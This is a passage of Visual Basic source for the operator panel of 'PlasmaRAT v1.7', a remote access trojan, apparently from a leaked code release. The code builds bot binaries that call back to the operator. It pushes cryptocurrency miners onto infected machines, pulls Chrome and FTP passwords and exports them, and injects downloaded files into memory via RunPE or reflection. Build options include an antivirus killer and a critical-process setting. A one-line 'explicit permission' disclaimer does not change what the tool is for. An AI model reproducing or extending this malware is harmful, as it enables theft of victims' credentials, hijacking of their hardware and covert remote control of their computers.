MessageBox.Show("Successfully Built Bot Bin at: " & S.FileName & vbNewLine & vbNewLine & "This is the file you run on other computers. When another computer runs this file, they will connect to you. Please only run this executable on computers which you have explict permission to do so on." & vbNewLine & vbNewLine & "DO NOT test this by running it on yourself! Use Sandboxie, or a virtual machine!", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)
End If
End Using
Else
MessageBox.Show("Config too large. This is a very rare error.")
End If
Catch
MessageBox.Show("Error Building Bin. Please restart Plasma and try again.")
End Try
End Sub
Private Sub DNSBuild_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DNSBuild.Click
If DNSBuild.Text = "example.no-ip.org" Then DNSBuild.Text = String.Empty
End Sub
Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
If CPUMiner.Checked = True Then
SendToAll("miner.stop")
Else
SendToAll("miner.gpu.stop")
End If
End Sub
Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
If Not MinerFiles.Text = String.Empty Then
If Not MinerPool.Text = String.Empty Then
If Not MinerUser.Text = String.Empty Then
If Not MinerPass.Text = String.Empty Then
SaveSetting("PlasmaRAT", "Config", "MinerSettings", MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
If CPUMiner.Checked = True Then
SendToAll("miner.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
Else
SendToAll("miner.gpu.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
End If
End If
End If
End If
End If
End Sub
Private Sub SendMinerOnConnect_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SendMinerOnConnect.CheckedChanged
If SendMinerOnConnect.Checked = True Then
If CPUMiner.Checked = True Then
OnConnectMiner = ("miner.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
End If
If GPUMiner.Checked = True Then
OnConnectMiner = ("miner.gpu.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
End If
MinerFiles.ReadOnly = True
MinerPool.ReadOnly = True
MinerUser.ReadOnly = True
MinerPass.ReadOnly = True
CPUMiner.Enabled = False
GPUMiner.Enabled = False
Else
OnConnectMiner = String.Empty
MinerFiles.ReadOnly = False
MinerPool.ReadOnly = False
MinerUser.ReadOnly = False
MinerPass.ReadOnly = False
CPUMiner.Enabled = True
GPUMiner.Enabled = True
End If
End Sub
Private Sub MinerPool_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MinerPool.Click
If MinerPool.Text = "stratum+tcp://ltc-stratum.examplepool.net" Then MinerPool.Text = String.Empty
End Sub
Private Sub Button16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button16.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=6")
End Sub
Private Sub ToolStripMenuItem4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ToolStripMenuItem6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem6.Click
BotLogs = String.Empty
LogView.Items.Clear()
End Sub
Private Sub ToolStripMenuItem5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem5.Click
If Not BotLogs = String.Empty Then My.Computer.Clipboard.SetText(BotLogs)
MsgBox("Copied to Clipboard Successfully!")
End Sub
Private Sub ToolStripMenuItem9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem9.Click
PasswordLogs = String.Empty
PasswordListView.Items.Clear()
End Sub
Private Sub ToolStripMenuItem10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem10.Click
If Not PasswordLogs = String.Empty Then My.Computer.Clipboard.SetText(PasswordLogs)
MsgBox("Copied to Clipboard Successfully!")
End Sub
Private Sub ToolStripMenuItem13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem13.Click
If Not CommandsLogs = String.Empty Then My.Computer.Clipboard.SetText(CommandsLogs)
MsgBox("Copied to Clipboard Successfully!")
End Sub
Private Sub ToolStripMenuItem14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem14.Click
CommandsLogs = String.Empty
CommandsListView.Items.Clear()
End Sub
Private Sub ToolStripMenuItem12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem12.Click
OnConnectCommand = String.Empty
ToolStripMenuItem11.Text = "On-Join Command: N/A"
' OnConnectLabel.Text = "Command to Send on Connect: N/A"
End Sub
Private Sub OnConnectLabel_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ToolStripMenuItem7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ToolStripMenuItem8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem8.Click
If Not PasswordLogs = String.Empty Then
Dim myStream As Stream
Dim saveFileDialog1 As New SaveFileDialog()
saveFileDialog1.Filter = "txt files (*.txt)|*.txt"
saveFileDialog1.FilterIndex = 2
saveFileDialog1.RestoreDirectory = True
If saveFileDialog1.ShowDialog() = DialogResult.OK Then
IO.File.WriteAllText(saveFileDialog1.FileName, PasswordLogs)
MessageBox.Show("Passwords Exported Successfully!")
End If
End If
End Sub
Private Sub ToolStripMenuItem4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem4.Click
SendToAll("chrome")
End Sub
Private Sub ToolStripMenuItem7_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem7.Click
SendToAll("ftp")
End Sub
Private Sub Folder_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Folder.Click
Dim r As New Random
' Mutex.Text = r.Next(10000000, 999999999).ToString
' Folder.Text = "{$" & r.Next(1000, 9000).ToString & "-" & r.Next(1000, 9000).ToString & "-" & r.Next(1000, 9000).ToString & "-" & r.Next(1000, 9000) & "$}"
End Sub
Private Sub EnableInstallation_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableInstallation.CheckedChanged
If EnableInstallation.Checked = True Then
FileName.Enabled = True
Folder.Enabled = True
SWIP.Enabled = True
AVKiller.Enabled = True
BotResourceProtection.Enabled = True
AutomaticBK.Enabled = True
SetProcessCritical.Enabled = True
SWIP.Checked = True
AVKiller.Checked = True
BotResourceProtection.Checked = True
AutomaticBK.Checked = False
SetProcessCritical.Checked = False
Else
FileName.Enabled = False
Folder.Enabled = False
SWIP.Enabled = False
AVKiller.Enabled = False
BotResourceProtection.Enabled = False
AutomaticBK.Enabled = False
SetProcessCritical.Enabled = False
SWIP.Checked = False
AVKiller.Checked = False
BotResourceProtection.Checked = False
AutomaticBK.Checked = False
SetProcessCritical.Checked = False
End If
End Sub
Private Sub RunHardBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunHardBotKillerToolStripMenuItem.Click
If MsgBox("Are you sure you want to run the Hard Bot Killer? This will hinder the installation of new files on the system. Please only use this on highly infected computers.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("botkiller.hardbk")
End If
End Sub
Private Sub InjectFileRunPEToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles InjectFileRunPEToolStripMenuItem.Click
Dim S As String = InputBox("File to Inject into Memory via RunPE (Direct Download Link):", "")
If Not S = String.Empty Then
SendToSelected("inject.runpe " & S)
End If
End Sub
Private Sub InjectFileReflectionToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles InjectFileReflectionToolStripMenuItem.Click
Dim S As String = InputBox("File to Inject into Memory via Reflection (Direct Download Link):", "")
If Not S = String.Empty Then
SendToSelected("inject.reflect " & S)
End If
End Sub
Private Sub StopMiningToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopMiningToolStripMenuItem.Click
If MsgBox("Start GPU Mining on Selected Bots? This will use the settings from the Miner Tab.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
If Not MinerFiles.Text = String.Empty Then
If Not MinerPool.Text = String.Empty Then
If Not MinerUser.Text = String.Empty Then
If Not MinerPass.Text = String.Empty Then
SendToSelected("miner.gpu.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
End If
End If
End If
End If
End If
End Sub
Private Sub ToolStripMenuItem15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem15.Click
If MsgBox("Start CPU Mining on Selected Bots? This will use the settings from the Miner Tab.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
If Not MinerFiles.Text = String.Empty Then
If Not MinerPool.Text = String.Empty Then
If Not MinerUser.Text = String.Empty Then
If Not MinerPass.Text = String.Empty Then
SendToSelected("miner.start " & MinerFiles.Text & " " & MinerPool.Text & " " & MinerUser.Text & " " & MinerPass.Text)
End If
End If
End If
End If
End If
End Sub
Private Sub Button8_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
MessageBox.Show("Be sure to listen on this port before testing!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information)
Process.Start("http://canyouseeme.org")
End Sub
Private Sub Button6_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
Try
Dim DNSIP = System.Net.Dns.GetHostByName(DNSBuild.Text).AddressList(0).ToString()
Dim w As New System.Net.WebClient()
Dim ip As String = w.DownloadString("http://api.wipmania.com/")
Dim lol() = Split(ip, "<br>")
Dim xd = lol(0)
If DNSIP = xd Then
MessageBox.Show("Your DNS is valid and resolves to your IP!", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)
Else
MessageBox.Show("Your DNS is valid, but does not resolve to your IP. Your DNS may need time to update.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning)
End If
Catch ex As Exception
MessageBox.Show("Unable to test DNS. You probably typed in an invalid DNS, or your internet is offline. Error info: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
Private Sub StartListening_ButtonClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StartListening.ButtonClick
Try
If Not StartListening.Text.Contains("Listening") Then
Dim Msg = InputBox("Port to Listen on:", "Port to Listen on", PortToListenTo.ToString)
If Not Msg = String.Empty Then
PortToListenTo = Convert.ToInt32(Msg)
listenerThread = New Thread(AddressOf Listen)
listenerThread.IsBackground = True
listenerThread.Start()
StartListening.Text = "Listening On: " & PortToListenTo.ToString
SaveSetting("PlasmaRAT", "Config", "Port", PortToListenTo.ToString)
End If
End If
Catch ex As Exception
MessageBox.Show("A strange issue as occured. Error details: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
Private Sub CPUMiner_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CPUMiner.CheckedChanged
Dim lel() = Split(MinerFileURL, "|")
If CPUMiner.Checked = True Then
MinerFiles.Text = lel(0)
Else
MinerFiles.Text = lel(1)
End If
End Sub
Private Sub GPUMiner_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GPUMiner.CheckedChanged
End Sub
Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
SendToAll("miner.reset")
End Sub
Private Sub LowBandwidth_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LowBandwidth.CheckedChanged
If LowBandwidth.Checked = True Then
SaveSetting("PlasmaRAT", "Config", "LowBandwidth", "Enabled")
Else
SaveSetting("PlasmaRAT", "Config", "LowBandwidth", String.Empty)
End If
If LowBandwidth.Checked = True Then
Ping.Interval = 300000
Else
Ping.Interval = 60000
End If
End Sub
Private Sub Button19_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button19.Click
Process.Start("http://plasma.bz/forums/")
End Sub
Private Sub SingleConnection_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SingleConnection.MouseClick
If SingleConnection.Checked = True Then
SaveSetting("PlasmaRAT", "Config", "SingleConnection", String.Empty)
Else
SaveSetting("PlasmaRAT", "Config", "SingleConnection", "Disabled")
End If
End Sub
Private Sub PingPong_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PingPong.MouseClick
If PingPong.Checked = True Then
SaveSetting("PlasmaRAT", "Config", "PingPong", String.Empty)
Else
SaveSetting("PlasmaRAT", "Config", "PingPong", "Disabled")
End If
End Sub
Private Sub ClientOnError_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ClientOnError.MouseClick
If ClientOnError.Checked = True Then
SaveSetting("PlasmaRAT", "Config", "DisconnectonError", String.Empty)
Else
SaveSetting("PlasmaRAT", "Config", "DisconnectonError", "Disabled")
End If
End Sub
Private Sub SortBotListView(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles BotListView.ColumnClick
' Get the new sorting column.
Dim new_sorting_column As ColumnHeader = BotListView.Columns(e.Column)
' Figure out the new sorting order.
Dim sort_order As System.Windows.Forms.SortOrder
If BotViewSort Is Nothing Then
' New column. Sort ascending.
sort_order = SortOrder.Ascending
Else ' See if this is the same column.
If new_sorting_column.Equals(BotViewSort) Then
' Same column. Switch the sort order.
If BotViewSort.Text.StartsWith("> ") Then
sort_order = SortOrder.Descending
Else
sort_order = SortOrder.Ascending
End If
Else
' New column. Sort ascending.
sort_order = SortOrder.Ascending
End If
' Remove the old sort indicator.
BotViewSort.Text = BotViewSort.Text.Substring(2)
End If
' Display the new sort order.
BotViewSort = new_sorting_column
If sort_order = SortOrder.Ascending Then
BotViewSort.Text = "> " & BotViewSort.Text
Else
BotViewSort.Text = "< " & BotViewSort.Text
End If
' Create a comparer.
BotListView.ListViewItemSorter = New clsListviewSorter(e.Column, sort_order)
' Sort.
BotListView.Sort()
End Sub
Private Sub LogViewSort(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles LogView.ColumnClick
' Get the new sorting column.
Dim new_sorting_column As ColumnHeader = LogView.Columns(e.Column)
' Figure out the new sorting order.
Dim sort_order As System.Windows.Forms.SortOrder
If LogViewerSort Is Nothing Then
' New column. Sort ascending.
sort_order = SortOrder.Ascending
Else ' See if this is the same column.
If new_sorting_column.Equals(LogViewerSort) Then
' Same column. Switch the sort order.
If LogViewerSort.Text.StartsWith("> ") Then
sort_order = SortOrder.Descending
Else
sort_order = SortOrder.Ascending
End If
Else
' New column. Sort ascending.
sort_order = SortOrder.Ascending
End If
' Remove the old sort indicator.
LogViewerSort.Text = LogViewerSort.Text.Substring(2)
End If
' Display the new sort order.
LogViewerSort = new_sorting_column
If sort_order = SortOrder.Ascending Then
LogViewerSort.Text = "> " & LogViewerSort.Text
Else
LogViewerSort.Text = "< " & LogViewerSort.Text
End If
' Create a comparer.
LogView.ListViewItemSorter = New clsListviewSorter(e.Column, sort_order)
' Sort.
LogView.Sort()
End Sub
Private Sub ListView1_ColumnClick(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles PasswordListView.ColumnClick
' Get the new sorting column.
Dim new_sorting_column As ColumnHeader = PasswordListView.Columns(e.Column)
' Figure out the new sorting order.
Dim sort_order As System.Windows.Forms.SortOrder
If PasswordViewSort Is Nothing Then
' New column. Sort ascending.
sort_order = SortOrder.Ascending
Else ' See if this is the same column.
If new_sorting_column.Equals(PasswordViewSort) Then
' Same column. Switch the sort order.
If PasswordViewSort.Text.StartsWith("> ") Then
sort_order = SortOrder.Descending
Else
sort_order = SortOrder.Ascending
End If
Else
' New column. Sort ascending.
sort_order = SortOrder.Ascending
End If
' Remove the old sort indicator.
PasswordViewSort.Text = PasswordViewSort.Text.Substring(2)
End If
' Display the new sort order.
PasswordViewSort = new_sorting_column
If sort_order = SortOrder.Ascending Then
PasswordViewSort.Text = "> " & PasswordViewSort.Text
Else
PasswordViewSort.Text = "< " & PasswordViewSort.Text
End If
' Create a comparer.
PasswordListView.ListViewItemSorter = New clsListviewSorter(e.Column, sort_order)
' Sort.
PasswordListView.Sort()
End Sub
Private Sub ToolStripMenuItem16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem16.Click
SendToSelected("RECONNECT")
End Sub
Private Sub DownloadKeylogsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DownloadKeylogsToolStripMenuItem.Click
End Sub
Private Sub PortForwardingTestToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PortForwardingTestToolStripMenuItem.Click
MessageBox.Show("Be sure to listen on the port before testing it!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Information)
Process.Start("http://canyouseeme.org/")
End Sub
Private Sub Button17_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button17.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=2")
End Sub
Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=304")
End Sub
Private Sub Button9_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=383")
End Sub
Private Sub Button12_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=11")
End Sub
Private Sub ConnectionHelpToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ConnectionHelpToolStripMenuItem.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=6")
End Sub
Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TestBackupDNS.Click
Try
Dim DNSIP = System.Net.Dns.GetHostByName(BackupDNS.Text).AddressList(0).ToString()
Dim w As New System.Net.WebClient()
Dim ip As String = w.DownloadString("http://api.wipmania.com/")
Dim lol() = Split(ip, "<br>")
Dim xd = lol(0)
If DNSIP = xd Then
MessageBox.Show("Your DNS is valid and resolves to your IP!", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)
Else
MessageBox.Show("Your DNS is valid, but does not resolve to your IP. Your DNS may need time to update.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning)
End If
Catch ex As Exception
MessageBox.Show("Unable to test DNS. You probably typed in an invalid DNS, or your internet is offline. Error info: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
Private Sub EnableBackupDNS_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableBackupDNS.Click
If EnableBackupDNS.Checked = True Then
TestBackupDNS.Enabled = True
BackupDNS.Enabled = True
Else
TestBackupDNS.Enabled = False
BackupDNS.Enabled = False
End If
End Sub
Private Sub BackupDNS_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackupDNS.Click
If BackupDNS.Text = "example.no-ip.org" Then BackupDNS.Text = String.Empty
End Sub
Private Sub Button18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button18.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=381")
End Sub
Private Sub Button11_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
Process.Start("http://plasma.bz/forums/showthread.php?tid=382")
End Sub
End Class




mega.nz - [Code] PlasmaRAT v1.7